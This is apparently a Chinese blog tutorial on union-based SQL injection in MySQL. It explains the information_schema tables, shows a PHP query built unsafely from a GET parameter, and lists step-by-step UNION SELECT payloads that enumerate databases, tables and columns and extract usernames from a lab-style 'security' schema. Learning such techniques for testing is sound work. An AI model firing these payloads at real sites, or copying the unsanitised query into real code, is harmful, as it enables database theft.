SQL注入-有回显的注入

1.MySQL相关

在MySQL 5+版本后,加入了information_schema这个库,该库存放了所有数据库的信息

information_schema.columns包含所有表的字段

    字段
    table_schema                数据库名
    table_name                  表名
    column_name                 列名

information_schema.tables包含所有库的表名

    字段
    table_schema                数据库名
    table_name                  表名

information_schema.schemata包含所有数据库的名

    字段
    schema_name                 数据库名

2.有回显的SQL注入

执行SQL查询,其结果能回显到页面中,那么可直接进行有回显的SQL注入

  • 查询语句
$id=$_GET['id'];
SELECT * FROM test WHERE id='$id' LIMIT 0,1;
  • 判断字段数
    ?id=1' ORDER BY 3--+
  • 判断显示位
    ?id=-1' UNION SELECT 1,2,3--+
  • 利用函数获得信息
    ?id=-1 UNION SELECT 1,(version()),3--+
  • 爆库
?id=-1' UNION SELECT 1,(SELECT schema_name FROM information_schema.schemata LIMIT 0,1),3--+ //用LIMIT来定位查询,一个一个爆数据库
?id=-1' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata--+          //用group_concat()实现一个显示位爆出该字段下所有记录
  • 爆表
?id=-1' UNION SELECT 1,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),3--+
  • 爆字段
?id=-1' UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),3--+
  • 爆数据
?id=-1' UNION SELECT 1,(SELECT username FROM security.users LIMIT 0,1),3--+

你可能感兴趣的:(SQL注入)